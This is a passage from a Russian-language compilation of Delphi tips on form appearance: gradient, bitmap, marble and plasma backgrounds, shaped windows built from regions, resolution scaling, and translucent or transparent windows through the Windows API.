Эту процедуру объявляем в публичных объявлениях:

public
  { Public declarations }
  procedure GradientRect(FromRGB, ToRGB: TColor; Canvas: TCanvas);


Для закраски формы в обработчик формы OnPaint нужно вставить:

GradientRect (clBlue, clBlack, Canvas);


По событию OnResize для формы напишем:

Paint;


К заголовку




" Заполнение фона формы рисунком
unit bmpformu;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;

type
  TBmpForm = class(TForm)
    Button1: TButton;
    procedure FormDestroy(Sender: TObject);
    procedure FormPaint(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    Bitmap: TBitmap;
    procedure ScrambleBitmap;
    procedure WMEraseBkgnd(var m: TWMEraseBkgnd); message WM_ERASEBKGND;
end;

var
  BmpForm: TBmpForm;

implementation
{$R *.DFM}

procedure TBmpForm.FormCreate(Sender: TObject);
begin
  Bitmap := TBitmap.Create;
  Bitmap.LoadFromFile('bor6.bmp');
end;

procedure TBmpForm.FormDestroy(Sender: TObject);
begin
  Bitmap.Free;
end;

// since we're going to be painting the whole form, handling this
// message will suppress the uneccessary repainting of the background
// which can result in flicker.
procedure TBmpform.WMEraseBkgnd(var m : TWMEraseBkgnd);
begin
  m.Result := LRESULT(False);
end;

procedure TBmpForm.FormPaint(Sender: TObject);
var
  x, y: Integer;
begin
  y := 0;
  while y < Height do
  begin
    x := 0;
    while x < Width do
    begin
      Canvas.Draw(x, y, Bitmap);
      x := x + Bitmap.Width;
    end;
    y := y + Bitmap.Height;
  end;
end;

procedure TBmpForm.Button1Click(Sender: TObject);
begin
  ScrambleBitmap; Invalidate;
end;

// scrambling the bitmap is easy when it's has 256 colors:
// we just need to change each of the color in the palette
// to some other value.
procedure TBmpForm.ScrambleBitmap;
var
  pal: PLogPalette;
  hpal: HPALETTE;
  i: Integer;
begin
  pal := nil;
  try
    GetMem(pal, sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255);
    pal.palVersion := $300;
    pal.palNumEntries := 256;
    for i := 0 to 255 do
    begin
      pal.palPalEntry[i].peRed := Random(255);
      pal.palPalEntry[i].peGreen := Random(255);
      pal.palPalEntry[i].peBlue := Random(255);
    end;
    hpal := CreatePalette(pal^);
    if hpal <> 0 then
      Bitmap.Palette := hpal;
  finally
    FreeMem(pal);
  end;
end;

end.



-----------------------------------

form1.brush.bitmap:=image1.picture.bitmap;
К заголовку




" Как создавать не квадратные формы и контролы
Всё, что нам нужно, это HRGN и дескриптор (handle) элемента управления. SetWindowRgn имеет три параметра: дескриптор
окна, которое будем менять, дескритор региона и булевый (boolean) параметр, который указывает - перерисовывать или нет
после изменения. Как только у нас есть дескриптор и регион, то можно вызвать SetWindowRgn(Handle, Region, True) и вуаля!

Заметьте, что Вы не должны освобождать регион при помощи DeleteObject, так как после вызова SetWindowRgn владельцем
региона становится операционная система.

function BitmapToRgn(Image: TBitmap): HRGN;
var
  TmpRgn: HRGN;
  x, y: integer;
  ConsecutivePixels: integer;
  CurrentPixel: TColor;
  CreatedRgns: integer;
  CurrentColor: TColor;
begin
  CreatedRgns := 0;
  Result := CreateRectRgn(0, 0, Image.Width, Image.Height);
  inc(CreatedRgns);

  if (Image.Width = 0) or (Image.Height = 0) then
    exit;

  for y := 0 to Image.Height - 1 do
  begin
    CurrentColor := Image.Canvas.Pixels[0,y];
    ConsecutivePixels := 1;
    for x := 0 to Image.Width - 1 do
    begin
      CurrentPixel := Image.Canvas.Pixels[x, y];

      if CurrentColor = CurrentPixel then
        inc(ConsecutivePixels)
      else
      begin
        // Входим в новую зону
        if CurrentColor = clWhite then
        begin
          TmpRgn := CreateRectRgn(x - ConsecutivePixels, y, x, y + 1);
          CombineRgn(Result, Result, TmpRgn, RGN_DIFF);
          inc(CreatedRgns);
          DeleteObject(TmpRgn);
        end;
        CurrentColor := CurrentPixel;
        ConsecutivePixels := 1;
      end;
    end;

    if (CurrentColor = clWhite) and (ConsecutivePixels > 0) then
    begin
      TmpRgn := CreateRectRgn(x-ConsecutivePixels, y, x, y+1);
      CombineRgn(Result, Result, TmpRgn, RGN_DIFF);
      inc(CreatedRgns);
      DeleteObject(TmpRgn);
    end;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  MaskBmp: TBitmap;
begin
  MaskBmp := TBitmap.Create;
  try
    MaskBmp.LoadFromFile('c:\Мои документы\DW.bmp');
    Height := MaskBmp.Height;
    Width := MaskBmp.Width;
    // ОС владеет регионом, после вызова SetWindowRgn
    SetWindowRgn(Self.Handle, BitmapToRgn(MaskBmp), True);
  finally
    MaskBmp.Free;
  end;
end;


К заголовку




" Контролы в WinXP выглядят как в WinXP
Наверняка, если ты кодишь на Delphi и твоя ось на данный момент это Windows XP ты заметил что твои проги после
компиляции не выглядят по XP'шному, т.е. все кнопки и другие элементы программы остались такими же как и в прошлых
Виндах (Win98,2000 и т.д.)...

Чтобы исправить эту проблему и продолжить нормально кодить под Win XP делаем следущее:

1) Создаем файл (например mainfest.txt) со следующим содержимым и сохраняем его:





ApplicationDescription







2)Создаем еще один файл , в нем пишем:

1 24 [путь к файлу]/manifest.txt и сохранем его в папку ../Delphi/Bin/ с именем resfile.rc

3)Запускаем файл ../Delphi/Bin/brcc32.exe resfile.rc

4)После всех этих действий в папке ../Delphi/Bin/ появится файлик с именем resfile.res
его нужно прописать в разделе implementation вашего приложения...
Т.е. после implementation пишется следущее:


{$R resfile.res}


Вот и всё! Теперь можно смело сказать что ваша прога заточена под Windows XP ;)
К заголовку




" Масштабирование окна
implementation

const
  ScreenWidth: Integer = 800; {Я разрабатывал свою форму в режиме 800x600.}
  ScreenHeight: Integer = 600;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var
  x, y: LongInt; {Тип Integer не достаточно большой для наших значений.}
begin
  form1.scaled := true;
  x := getSystemMetrics(SM_CXSCREEN);
  y := getSystemMetrics(SM_CYSCREEN);
  if (x <> ScreenHeight) or (y <> ScreenWidth) then
  begin
    form1.height := form1.height * x div ScreenWidth;
    form1.width := form1.width * y div ScreenHeight;
  end;
  if x <> ScreenWidth then
    scaleBy(x, ScreenWidth);
end;


Дополнение

Файл DELSEQ07.FAQ содержит код примера отображения форм в различных разрешениях. К сожалению, он не учитывал ширину
границы окна. Я публикую изменение, масштабирующее компоненты вне зависимости от разрешения экрана и ширины границ
окон. Включите нижеследующий модуль в секцию uses каждого модуля и вызывайте ScaleForm в обработчике формы OnCreate,
передавая в качестве параметра имя формы. Я надеюсь что помог тем, кто столкнулся с данной проблемой.

unit scale;

interface

uses
  Forms, WinTypes, WinProcs, SysUtils;

procedure ScaleForm(Sender: TObject);

implementation

procedure ScaleForm(Sender: TObject);

const

  {измените это так, чтобы это соответствовало
  режиму разрешения во время разработки}
  DesignScrY: LongInt = 480;
  DesignScrX: LongInt = 640;
  DesignBorder: LongInt = 4; {значение в Панели Управления + 1}

var

  SystemScrY: LongInt;
  SystemScrX: LongInt;
  SystemBorder: LongInt;
  OldHeight: LongInt;
  OldWidth: LongInt;

begin

  SystemScrY := GetSystemMetrics(SM_CYSCREEN);
  SystemScrX := GetSystemMetrics(SM_CXSCREEN);
  SystemBorder := GetSystemMetrics(SM_CYFRAME);
  with Sender as TForm do
  begin
    Scaled := True;
    AutoScroll := False;
    Top := Top * SystemScrX div DesignScrX;
    Left := Left * SystemScrX div DesignScrX;
    OldHeight := Height + (DesignBorder - SystemBorder) * 2;
    OldWidth := Width + (DesignBorder - SystemBorder) * 2;
    ScaleBy((OldWidth * SystemScrX div DesignScrX - SystemBorder * 2),
      (OldWidth - DesignBorder * 2));
    {
    Для форм не имеющих границ измените предшествующие
    три строки следующим способом:

    OldHeight := Height;
    OldWidth  := Width;
    ScaleBy(SystemScrX, DesignScrX);
    }

    Height := OldHeight * SystemScrY div DesignScrY;
    Width := OldWidth * SystemScrX div DesignScrX;
  end;
end;

begin
end.
---------------------------------------

Вывод формы с различными разрешениями экрана.

При проектировании форм часто бывает полезным предусмотреть ситуацию, когда форма и находящиеся на ней элементы
управления должны иметь одинаковый размер вне зависимости от текущего разрешения экрана. Вот небольшой пример как
можно это сделать:

implementation

const
  ScreenWidth: LongInt = 800; {Я разрабатывал мою форму в режиме 800x600.}
  ScreenHeight: LongInt = 600;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  scaled := true;
  if (screen.width <> ScreenWidth) then
  begin
    height := longint(height) * longint(screen.height) div ScreenHeight;
    width := longint(width) * longint(screen.width) div ScreenWidth;
    scaleBy(screen.width, ScreenWidth);
  end;
end;


Затем, вероятно, вы захотите иметь нечто, проверяющее размер шрифтов, OK. Прежде, чем вы измените размер шрифта, вам
необходимо убедиться, что объект имеет свойство font. Это может быть сделано следующим образом:

uses typinfo;

var
  i: integer;
begin
  for i := componentCount - 1 downtto 0 do
    with components[i] do
    begin
      if GetPropInfo(ClassInfo, 'font') <> nil  then
        font.size := (NewFormWidth DIV OldFormWidth) * font.size;
    end;
end;


Примечание: При разработке приложения для различных режимов разрешения вам необходимо учитывать следующие рекомендации:

    * Заранее, в самом начале этапа разработки, решите для себя - собираетесь ли вы разрешать масштабировать форму или
нет. Преимущество запрета масштабирования в том, что вам ничего не нужно менять во время выполнения приложения.
Недостаток запрета масштабирования - во время выполнения приложения никаких изменений не происходит (ваша форма может
быть слишком малой или слишком большой для работы в некоторых режимах при отсутствии масштабирования).
    * Если вы НЕ собираетесь масштабировать форму, установите свойство Scaled в False.
    * В противном случае, установите свойство формы Scaled в True.
    * Установите AutoScroll в False. AutoScroll = True означает 'не изменять размер окна формы во время выполнения
      риложения', что приводит к "плохому виду" формы, если ее содержимое меняет размер.
    * Установите шрифты формы в масштабируемые TrueType-шрифты типа Arial. MS San Serif также подойдет в качестве
      альтернативы, только помните, это не TrueType, а bitmapped-шрифт. Только Arial может правильно изменять
      свою высоту с дискретностью 1 пиксел. Примечание: Если используемый шрифт не установлен на машине пользователя,
      Windows выбирает альтернативный шрифт из данной линейки (семьи) шрифтов. Размеры нового шрифта могут отличаться
      от размеров оригинального шрифта, что также может вызвать проблемы.
    * Установите свойство формы Position во что-нибудь другое, чем poDesigned. poDesigned всегда показывает форму
      в первозданном виде, и, если форма разрабатывалась в разрешении 1280x1024, то вы можете себе представить, что
      будет при разрешении 640x480?
    * Не "слепляйте" на форме элементы управления, оставляйте между ними, по крайней мере, 4 пикселя, в противном
      случае, при изменении месторасположения границы на 1 пиксель (это происходит при масштабировании), элементы
      управления наедут друг на друга.
    * Для однострочных компонентов Label, у которых свойство Aligned равно alLeft или alRight, установите AutoSize в True.
      В противном случае, установите AutoSize в False.
    * Убедитесь в том, что компоненты Label имеют достаточный запас по ширине (требуется, примерно, 25%) от длины текущего
      текста. (При переводе вашего приложения на другие языки вам необходимо примерно 30%-ный запас от текущей ширины текста).
      Если AutoSize - False, убедитесь, что ширины компонента Label достаточно для размещения реального текста.
      Если AutoSize - True, убедитесь, что на компоненту Label достаточно места (например, на форме) для размещения
      всего текста плюс небольшой запас для его роста при смене шрифтов.
    * В случае многострочного текста и компонентов Label с переносом слов, убедитесь, что в нижней части у вас
      имеется, по крайней мере, еще одна строчка. Она необходима вам для того, чтобы не допустить переполнения строки,
      если размер шрифта увеличивается при масштабировании. Не думайте, что, если вы используете большие шрифты и
      переполнения не возникает, то эта проблема снята - кто-нибудь может использовать шрифты с еще большим размером, чем у вас!
    * Будьте осторожными при открытии проекта в IDE с другим разрешением. Свойство формы PixelsPerInch будет изменено
      как только вы откроете форму, и сохранено в DFM-файле при сохранении проекта. Лучше всего запускать приложение
      отдельно от IDE, а редактировать его при одном разрешении. Редактируя формы при различных разрешениях и размерах
      шрифтов, вы инициируете проблему "дрейфа" компонентов по форме и изменения их размера.
    * Говоря о дрейфе компонент, не следует многократно масштабировать форму, как во время разработки, так и во
      время выполнения приложения. Каждое изменение размеров сопровождается ошибками округления, которые достаточно
      быстро накапливаются с тех пор, как координаты стали строго целочисленными. Поскольку при калькулировании новых
      размеров дробная часть отбрасывается, вновь пересчитанные размеры оказываются меньше, а координаты элементов
      управления северо-западнее. Если вы решили разрешить пользователю изменять масштабы форм, начинайте масштабирование
      с последней загруженной/созданной формы, этим вы уменьшите накапливаемые при масштабировании ошибки.
    * Старайтесь не изменять значение свойства формы PixelsPerInch.
    * В общих словах, нет необходимости разрабатывать формы для всех возможных режимов, перед окончательным релизом
      вашего приложения вы должны оценить поведение формы в пограничных режимах - 640x480 с маленькими и большими
      шрифтами, и при высоком разрешении и, также, с маленькими и большими шрифтами. Это должно быть частью ваших
      регулярных проверок на предмет системной совместимости, для ведения так называемой тестирующей контрольной таблицы.
    * Обратите пристальное внимание на "однострочные компоненты TMemo" - типа TDBLookupCombo. Системные многострочные
      редакторы всегда выводят только целые строки текста - если ширина элемента управления слишком мала для своего
      шрифта, то TMemo вообще ничего не показывает (TEdit показывает обрезанный текст). Размер таких компонентов
      лучше сделать на несколько пикселей больше, чем на несколько пикселей меньше, тем самым можно определеть
      наличие в компоненте оставшейся части текста.
    * Обратите внимание на то, что масштабирование во время проектирования и во время выполнения программы отличается
      коэффициентом и зависит от высоты шрифта, а не от экранного разрешения в пикселях. Помните также, что
      "начало" компонент будет изменяться в зависимости от масштаба формы, и для их "броуновского" движения
      также необходимо небольшое пространство.
К заголовку




" Мраморное окно
Если вам надоели обычные монотонные формы, то эта статья - спасенье для вас!!! Всё, что вам нужно
сделать для того, чтобы ваше окно выглядело так же эффектно, как и показанное на рисунке , это только
написать несколько строк кода на событие OnPaint (на прорисовку) для вашего подопытного окна:

procedure TForm1.FormPaint(Sender: TObject);
var
  i, j: Integer;
begin
  with Form1.Canvas do
    for j := 0 to Form1.Height do
      for i := 0 to Form1.Width do
        Pixels[i, j] := Trunc(Random($00000095));
end;


С помощью двух циклов мы обошли поверхность окна (канву) и каждому пикселю задали случайный оттенок нужного цвета.
(Для тех, кто не знает, ПИКСЕЛЬ - это мельчайшая точка). Цвет задаём 16-ричным кодом, например я указал: $00000095.
Получилось весьма неплохо :-)) Вы можете изменить цвет.

Второй способ (более быстрый):

procedure TForm1.FormPaint(Sender: TObject);
var
  h, w, i, j: Integer;
  Rect1, Rect2: TRect;
begin
  h := Form1.Height div 10;
  w := Form1.Width div 10;
  with Form1.Canvas do
  begin
    for j := 0 to h do
      for i := 0 to w do
        Pixels[i,j]:=Trunc(Random($00000095));

    Rect1 := Rect(0, 0, w, h);
    for j := 0 to 9 do
    begin
      for i := 0 to 9 do
      begin
        Rect2 := Rect(w*j, h*i, w*(j+1), h*(i+1));
        CopyRect(Rect2, Form1.Canvas, Rect1);
      end;
    end;
  end;
end;


К заголовку




" Окно в виде звезды
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, ExtCtrls, jpeg;

type
  TForm1 = class(TForm)
    Label1: TLabel; //Это метка для отображения времени
    Timer1: TTimer; //Это таймер - с помощью него мы отображаем время
    Image1: TImage; //Компонент Image - нужен для вывода рисунка на форме
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    {Для перемещения формы вне заголовка объявляем процедуру}
    procedure WMNCHitTest(var M:TWMNCHitTest);message wm_NCHitTest;
  public
    { Public declarations }
end;

var
  Form1: TForm1;

implementation
{$R *.DFM}

{Для перемещения формы вне заголовка описываем процедуру}
procedure TForm1.WMNCHitTest(var M: TWMNCHitTest);
begin
  inherited;
  if M.Result = htClient then
    M.Result := htCaption;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  hsWindowRegion, hsWindowRegion2: integer;
  p: array [0..11] of TPoint;
begin
  p[0].x:=30; p[0].y:=40;
  p[1].x:=80; p[1].y:=70;
  p[2].x:=95; p[2].y:=20;
  p[3].x:=110; p[3].y:=70;
  p[4].x:=160; p[4].y:=40;
  p[5].x:=130; p[5].y:=85;
  p[6].x:=260; p[6].y:=230;
  p[7].x:=110; p[7].y:=100;
  p[8].x:=95; p[8].y:=200;
  p[9].x:=80; p[9].y:=100;
  p[10].x:=30; p[10].y:=130;
  p[11].x:=60; p[11].y:=85;

  hsWindowRegion:=CreatePolygonRgn(P,12,Alternate);
  hsWindowRegion2:=CreateEllipticRgn(50,50,140,120);

  CombineRgn(hsWindowRegion, hsWindowRegion, hsWindowRegion2, rgn_or);
  SetWindowRgn(Handle, hsWindowRegion, true);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  Label1.Caption:=TimeToStr(Time);
end;

end.
К заголовку




" Окно в виде кольца
Умея создавать окно эллипсовидной формы, для вас не составит большого труда слепить что-нибудь наподобие того, что
показано на рисунке. Всё, что вам нужно сделать - это создать не один, а два региона и объединить их, используя
функцию CombineRgn, т.е. теперь по созданию окна можно написать что-то вроде этого:

procedure TForm1.FormCreate(Sender: TObject);
var
  hsWindowRegion, hsWindowRegion2: Integer;
begin
  hsWindowRegion := CreateEllipticRgn(50, 50, 350, 200);
  hsWindowRegion2:=CreateEllipticRgn(80, 80, 200, 150);
  CombineRgn(hsWindowRegion, hsWindowRegion, hsWindowRegion2, RGN_DIFF);
  SetWindowRgn(Handle, hsWindowRegion, true);
end;


Мы уже знаем какую функцию нужно использовать для объединения регионов, но как же она действует и что же ей нужно указывать?

Вводятся следующие параметры:

    * Дескриптор региона назначения,
    * Дескриптор первого региона источника,
    * Дескриптор второго региона источника,
    * Режим взаимодействия регионов источников.

В качестве режима мы указали константу RGN_DIFF, а использовать можем:

    * RGN_AND - Создает пересечение из двух смешанных областей,
    * RGN_COPY - Создает копию области, идентифицированной дескриптором первой области источника,
    * RGN_DIFF - Выводит части первой области источника, которые не пересекаются со второй,
    * RGN_OR - Создает объединение двух смешанных областей,
    * RGN_XOR - Создает объединение двух смешанных областей за исключением зоны перекрытия.

К заголовку




" Окно по рисунку
TStretchHandle = class(TCustomControl)
  private
    procedure WMEraseBkgnd(var message: TWMEraseBkgnd); message WM_ERASEBKGND;
    procedure WMGetDLGCode(var message: TMessage); message WM_GETDLGCODE;
  protected
    procedure Paint; override;
    property Canvas;
  public
    procedure CreateParams(var Params: TCreateParams); override;
end;

procedure TStretchHandle.CreateParams(var Params: TCreateParams);
begin
  { set default Params values }
  inherited CreateParams(Params);
  { then add transparency }
  Params.ExStyle := Params.ExStyle + WS_EX_TRANSPARENT;
end;

procedure TStretchHandle.WMGetDLGCode(var message: TMessage);
begin
  { completely fake erase, don't call inherited, don't collect $200 }
  message.Result := DLGC_WANTARROWS;
end;

procedure TStretchHandle.WMEraseBkgnd(var message: TWMEraseBkgnd);
begin
  { completely fake erase, don't call inherited, don't collect $200 }
  message.Result := 1;
end;

procedure TStretchHandle.Paint;
begin
  inherited Paint;
  with Canvas do
  begin
    // рисуете что нужно -
    // где не рисовали, там будет "прозрачно"
  end;
end;

--------------------------------------------------------

САМЫЙ ПРОСТОЙ И РАБОЧИЙ СПОСОБ!!!!!!!!!!!!!!!!!!!!!!!!

function BitmapToRegion(bmp: TBitmap) : dword; stdcall;
var
    ix,iy : integer;    // переменные циклов
    tc    : TColor;     // модификатор цвета прозрачности
    b1    : boolean;    // идёт просмотр непрозрачных пикселей
    c1    : cardinal;   // вспомогательный регион
    i1    : integer;    // первая позиция реального пикселя
begin
  Result := 0;
  i1 := 0;
  // устанавливаем модификатор прозрачности
  tc := bmp.transparentColor and $FFFFFF;
  with bmp.canvas do
    // сканируем все линии
    for iy := 0 to bmp.height - 1 do
    begin
      b1 := False;
      // сканируем пиксели в линии
      for ix:=0 to bmp.Width - 1 do
        // если последний или первый пиксель
        if (pixels[ix, iy] and $FFFFFF <> tc) <> b1 then begin
          // последний, добавляем регион
          if b1 then begin
            c1:=CreateRectRgn(i1,iy,ix,iy+1);
            if result<>0 then
              begin
                // это не первый регион
                CombineRgn(Result, Result, c1, RGN_OR);
                DeleteObject(c1);
                // создаём первый регион
              end
            else
              Result := c1;
          end else i1 := ix;
          // меняем режим просмотра пикселей
          b1:=not b1;
        end;
      // последний реальный пиксель?
      if b1 then begin
        c1:=CreateRectRgn(i1, iy, bmp.width-1, iy+1);
        if (Result <> 0) then
          begin
            CombineRgn(Result, Result, c1, RGN_OR);
            DeleteObject(c1);
          end
        else
          Result := c1;
      end;
    end;
end;

procedure TForm2.FormPaint(Sender: TObject);
Var
 P: TPicture;
 sapppath : string;
begin
 Sapppath := ExtractFilePath(Application.ExeName);
 P := TPicture.Create;
 Try
  P.LoadFromFile(Form1.OpenPictureDialog1.FileName);
  Form2.Width := P.Width;
  Form2.Height := P.Height;

  form2.Left := (Screen.Width - P.Width) div 2;
  form2.top := (Screen.Height - P.Height) div 2;

  Form2.Canvas.Draw(0,0,P.Graphic);
 Finally
  P.Free;
 End;
end;

procedure TForm2.FormShow(Sender: TObject);
var
  Region : HRGN;
  P: TBitmap;
begin

if not FileExists(Form1.OpenPictureDialog1.FileName) then
 begin
  MessageDlg('Продолжение загрузки невозможно - отсутствует загружаемый файл',mtError,mbOKCancel,0);
  Halt;
 end;

begin
   P := TBitmap.Create;
   try
      P.LoadFromFile(Form1.OpenPictureDialog1.FileName);
      Region := BitmapToRegion(p);
      SetWindowRgn(Form2.Handle, Region, True);
      DeleteObject(Region);
   finally
   P.Free;
   end;
end;

  Application.ProcessMessages();
end;
К заголовку




" Плазменная заливка формы
Если вам надоели обычные монотонные формы, то эта статья - спасенье для вас!!! Всё, что вам нужно сделать для того, чтобы
ваше окно выглядело так же эффектно, как и показанное на рисунке - это только написать несколько строк кода:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs;

type
  TForm1 = class(TForm)
    procedure FormPaint(Sender: TObject);
  private
    { Private declarations }
    plasma: array [0..768, 0..768] of byte;
    procedure makeplasma;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormPaint(Sender: TObject);
var
  x, y: integer;
begin
  makeplasma;
  for x := 0 to 255 do
  begin
    for y := 0 to 255 do
    begin
      Form1.Canvas.Pixels[x, y] := rgb(plasma[x, y],
      plasma[x + 256, y + 256], plasma[x + 512, y + 512]);
    end;
    Form1.update;
  end;
end;

procedure TForm1.makeplasma;

  procedure halfway(x1,y1,x2,y2: integer);

    procedure adjust(xa,ya,x,y,xb,yb: integer);
    var
      d: integer;
      v: double;
    begin
      if plasma[x,y]<>0 then
        exit;
      d:=Abs(xa-xb)+Abs(ya-yb);
      v:=(plasma[xa,ya]+plasma[xb,yb])/2+(random-0.5)*d*2;
      if v<1 then
        v:=1;
      if v>=193 then
        v:=192;
      plasma[x,y]:=Trunc(v);
    end;

  var
    x, y: integer;
    v: double;
  begin
    if (x2-x1<2) and (y2-y1<2) then
      exit;
    x:=(x1+x2) div 2;
    y:=(y1+y2) div 2;
    adjust(x1,y1,x,y1,x2,y1);
    adjust(x2,y1,x2,y,x2,y2);
    adjust(x1,y2,x,y2,x2,y2);
    adjust(x1,y1,x1,y,x1,y2);
    if plasma[x,y]=0 then
    begin
      v:=(plasma[x1,y1]+plasma[x2,y1]+plasma[x2,y2]+plasma[x1,y2])/4;
      plasma[x,y]:=Trunc(v);
    end;
    halfway(x1,y1,x,y);
    halfway(x,y1,x2,y);
    halfway(x,y,x2,y2);
    halfway(x1,y,x,y2);
  end;

var
  x, y: integer ;
begin
  randomize;
  plasma[0,768]:=random(192);
  plasma[768,768]:=random(192);
  plasma[768,0]:=random(192);
  plasma[0,0]:=random(192);
  halfway(0,0,768,768);
end;

end.


К заголовку




" Полупрозрачная форма в Win2000
const
  WS_EX_LAYERED = $80000;

  LWA_COLORKEY = 1;
  LWA_ALPHA = 2;

function SetLayeredWindowAttributes(
  hwnd : HWND; // handle to the layered window
  crKey : TColor; // specifies the color key
  bAlpha : byte; // value for the blend function
  dwFlags : DWORD // action
  ): BOOL; stdcall;

function SetLayeredWindowAttributes; external 'user32.dll';

procedure TForm1.FormCreate(Sender: TObject);
begin
  if SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE)
  or WS_EX_LAYERED) = 0 then
    ShowMessage(SysErrorMessage(GetLastError));

  if not SetLayeredWindowAttributes(Handle, 0, 128, LWA_ALPHA) then
    // ^^^ степень прозрачности
    // 0 - полная прозрачность
    // 255 - полная непрозрачность
    ShowMessage(SysErrorMessage(GetLastError));
end;


Есть более продвинутые возможности (например, альфа-канал в битмапе)
http://msdn.microsoft.com/isapi/msdnlib.idc?theURL=/library/techart/layerwin.htm

unit TransparentWnd;

interface

uses
  Windows, Messages, Classes, Controls, Forms;

type
  _Percentage = 0..100;

  TTransparentWnd = class(TComponent)
  private
    { Private declarations }
  protected
    { Protected declarations }
    _percent: _Percentage;
    _auto: boolean;
    User32: HMODULE;
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;

    //These work on a Handle
    //It doesn't change the Percent Property Value!
    procedure SetTransparentHWND(hwnd: THandle; percent : _Percentage);

    //These work on the Owner (a TWinControl decendant is the Minumum)
    //They don't change the Percent Property Value!
    procedure SetTransparent; overload;
    procedure SetTransparent(percent : _Percentage); overload;

    procedure SetOpaqueHWND(hwnd : THandle);
    procedure SetOpaque;
  published
    { Published declarations }
    //This works on the Owner (a TWinControl decendant is the Minumum)
    property Percent: _Percentage read _percent write _percent default 0;

    property AutoOpaque: boolean read _auto write _auto default false;
end;

procedure register;

implementation

const LWA_ALPHA = $2;
const GWL_EXSTYLE = (-20);
const WS_EX_LAYERED = $80000;
const WS_EX_TRANSPARENT = $20;

var
  SetLayeredWindowAttributes: function (hwnd: LongInt; crKey: byte;
    bAlpha: byte; dwFlags: LongInt): LongInt; stdcall;

constructor TTransparentWnd.Create(AOwner: TComponent);
begin
  inherited;

  User32 := LoadLibrary('USER32.DLL');
  if User32 <> 0 then
    @SetLayeredWindowAttributes := GetProcAddress(User32, 'SetLayeredWindowAttributes')
  else
    SetLayeredWindowAttributes := nil;
end;

destructor TTransparentWnd.Destroy;
begin
  if User32 <> 0 then
    FreeLibrary(User32);

  inherited;
end;

procedure TTransparentWnd.SetOpaqueHWND(hwnd: THandle);
var
  old: THandle;
begin
  if IsWindow(hwnd) then
  begin
    old := GetWindowLongA(hwnd,GWL_EXSTYLE);
    SetWindowLongA(hwnd, GWL_EXSTYLE, old and ((not 0)-WS_EX_LAYERED));
  end;
end;

procedure TTransparentWnd.SetOpaque;
begin
  Self.SetOpaqueHWND((Self.Owner as TWinControl).Handle);
end;

procedure TTransparentWnd.SetTransparent;
begin
  Self.SetTransparentHWND((Self.Owner as TWinControl).Handle, Self._percent);
end;

procedure TTransparentWnd.SetTransparentHWND(hwnd: THandle; percent : _Percentage);
var
  old: THandle;
begin
  if (User32 <> 0) and (Assigned(SetLayeredWindowAttributes)) and (IsWindow(hwnd)) then
    if (_auto=true) and (percent=0) then
      SetOpaqueHWND(hwnd)
    else
    begin
      percent := 100 - percent;
      old := GetWindowLongA(hwnd, GWL_EXSTYLE);
      SetWindowLongA(hwnd, GWL_EXSTYLE, old or WS_EX_LAYERED);
      SetLayeredWindowAttributes(hwnd, 0, (255 * percent) div 100, LWA_ALPHA);
    end;
end;

procedure TTransparentWnd.SetTransparent(percent: _Percentage);
begin
  Self.SetTransparentHWND((Self.Owner as TForm).Handle, percent);
end;

procedure register;
begin
  RegisterComponents('Win32', [TTransparentWnd]);
end;

end.


Это компонент, для Дельфи, инкапсулирующий нужные функции


----------------------------------------------------

SetWindowTransp(hndl: THandle; Perc: byte);


hndl
    Hanle окна, которое надо сделать полупрозрачным.
Perc
    Число от 1 до 100, указывающее уровень прозрачности.
К заголовку




" Прозрачное окно
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Label1: TLabel;
    Button1: TButton;
  protected
    procedure RebuildWindowRgn;
    procedure Resize; override;
  public
    constructor Create(AOwner:TComponent);override;
  end;

var
  Form1: TForm1;

implementation
{$R *.DFM}

constructor TForm1.Create(AOwner:TComponent);
begin
  inherited;
  HorzScrollbar.Visible := false;
  VertScrollbar.Visible := false;
  RebuildWindowRgn;
end;

procedure TForm1.Resize;
begin
  inherited;
  RebuildWindowRgn;
end;

procedure TForm1.RebuildWindowRgn;
var
  FullRgn, Rgn: THandle;
  ClientX, ClientY, i: integer;
begin
  ClientX:=(Width-ClientWidth) div 2;
  ClientY:=Height-ClientHeight-ClientX;

  FullRgn:=CreateRectRgn(0,0,Width,Height);
  Rgn:=CreateRectRgn(ClientX,ClientY,ClientX+ClientWidth,
  ClientY+ClientHeight);

  CombineRgn(FullRgn,FullRgn,Rgn,RGN_DIFF);

  for i:=0 to ControlCount-1 do
    with Controls[i] do
    begin
      Rgn:=CreateRectRgn(ClientX+Left,ClientY+Top,
      ClientX+Left+Width,ClientY+Top+Height);
      CombineRgn(FullRgn,FullRgn,Rgn,RGN_OR);
    end;

  SetWindowRgn(Handle,FullRgn,true);
end;

end.


-----------------------------------------------------



procedure TForm1.FormCreate(Sender: TObject);
begin
  Form1.Brush.Style := bsClear;
  Form1.BorderStyle := bsNone
end;


--------------------------------------------------------


interface

uses
  Windows, Messages, Forms;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  end;

const
  WS_EX_LAYERED = $80000;

function SetLayeredWindowAttributes(hWindow : HWND; crKey : DWORD; bAlpha : Byte;
dwFlags : DWORD) : BOOL; stdcall; external user32 name 'SetLayeredWindowAttributes';

var
  Form1: TForm1;

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_LAYERED);
